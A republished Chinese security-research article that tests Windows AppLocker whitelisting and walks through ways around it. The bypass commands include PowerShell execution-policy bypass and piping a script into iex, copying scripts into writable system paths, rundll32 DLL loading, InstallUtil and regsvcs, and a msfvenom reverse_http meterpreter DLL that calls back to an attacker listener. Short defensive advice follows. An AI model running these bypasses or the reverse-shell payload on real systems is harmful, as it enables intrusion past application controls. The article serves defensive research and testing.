<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/11804

    0x00 前言


    Alt text

    上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。

    0x01 簡介


    Windows AppLocker,即“應用程序控制策略”,可用來對可執行程序、安裝程序和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

    如圖

    Alt text

    AppLocker可對以下文件格式創建規則,限制其執行

    Alt text

    下面我們就實際測試一下相關功能

    0x02 配置


    測試環境:

    #!bash
    OS:Windows7 Ultimate x86
    

    1、開啟服務

    進入計算機管理-服務-Application Identity,將服務設置為開啟

    如圖

    Alt text

    2、進入AppLocker配置界面

    輸入secpol.msc進入本地安全策略-應用程序控制策略-AppLocker

    或者gpedit.msc-計算機配置-Windows設置-安全設置-應用程序控制策略-AppLocker

    如圖

    Alt text

    3、配置規則

    對可執行文件設置默認規則:

    如圖

    Alt text

    對腳本設置默認規則:

    如圖

    Alt text

    開啟默認規則后,除了默認路徑可以執行外,其他路徑均無法執行程序和腳本

    0x03 測試


    1、執行exe

    Alt text

    2、執行腳本

    Alt text

    Alt text

    0x04 安全機制分析


    通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:

    1. 內存
    2. Office 宏
    3. HTML Applications,即hta文件
    4. powershell

    而我們已經掌握的繞過技術有:

    1. 利用hta文件
    2. 利用jscript
    3. 利用powershell
    4. 利用InstallUtil
    5. 利用regsvcs

    再加上新學來的技巧,我們最終發現了如下可供利用的方法:)

    0x05 繞過方法


    1、hta

    成功

    (可參照http://drops.wooyun.org/tips/10667

    可用來執行vbs和JavaScript腳本

    2、提權

    提權到管理員權限,即可執行突破AppLocker的限制,執行exe和腳本

    3、powershell

    (1)可以執行ps腳本

    #!bash
    PowerShell.exe -ExecutionPolicy Bypass -File 
    

    (2)可以通過如下方式執行ps腳本

    #!bash
    Get-Content script.txt | iex
    

    (3)可以利用快捷方式執行Powershell

    成功

    (可參照http://drops.wooyun.org/tips/10667

    4、進程注入

    既然可以執行powershell腳本,那么就可以反彈出meterpreter

    然后嘗試進程注入

    (可參照http://drops.wooyun.org/tips/11305

    如果注入到普通權限進程,無法執行exe和腳本

    如果是system權限進程,可以執行exe和腳本

    5、查找可利用的文件路徑

    通過ps腳本掃描可寫入的路徑

    下載地址:http://go.mssec.se/AppLockerBC

    (如果無法下載,我已將該腳本上傳至Github)

    測試如圖

    Alt text

    Alt text

    Alt text

    執行后會自動掃描出可利用的路徑

    比如選擇路徑:c:\Windows\Tasks

    正常執行calc.js會被攔截

    但是copy calc.js c:\Windows\Tasks

    再執行c:\Windows\Tasks\calc.js,可以繞過攔截

    如圖

    Alt text

    6、rundll32

    (1)執行JavaScript

    a、直接彈回一個Http shell

    (可參照http://drops.wooyun.org/tips/11764

    但無法繞過對執行exe和腳本的攔截

    b、利用JavaScript執行powershell命令返回HTTP shell

    Alt text

    (2)加載第三方dll

    a、自己編寫的dll

    參考資料:
    http://blog.didierstevens.com/2010/02/04/cmd-dll/

    按照dll的格式,自己編寫并生成dll上傳

    執行

    #!bash
    rundll32.exe cmd.dll,Control_RunDLL
    

    彈出一個cmd

    如圖

    Alt text

    b、反彈meterpreter

    kali下:

    #!bash
    msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
    

    生成a.dll,然后上傳至測試主機

    執行

    #!bash
    rundll32.exe a.dll,Control_RunDLL
    

    即可上線

    如圖

    Alt text

    Alt text

    7、利用InstallUtil

    利用InstallUtil.exe直接執行shellcode 成功

    如果有Microsoft .NET Framework 4.0環境,可用來執行exe

    (可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862

    8、利用regsvcs

    成功

    (可參照http://drops.wooyun.org/tips/10667

    0x06 防御


    1. 嚴格控制文件寫入權限
    2. 禁用mshta.exe阻止hta的運行
    3. 禁用powershell
    4. 防止被提權

    0x07 小結


    隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防御,對此部分都要尤其重視。

    而利用rundll32.exe的技巧,正在慢慢被發掘。

    0x08 參考資料:


    相關文件下載地址:

    https://github.com/3gstudent/Bypass-Windows-AppLocker

    本文由三好學生原創并首發于烏云drops,轉載請注明

    97av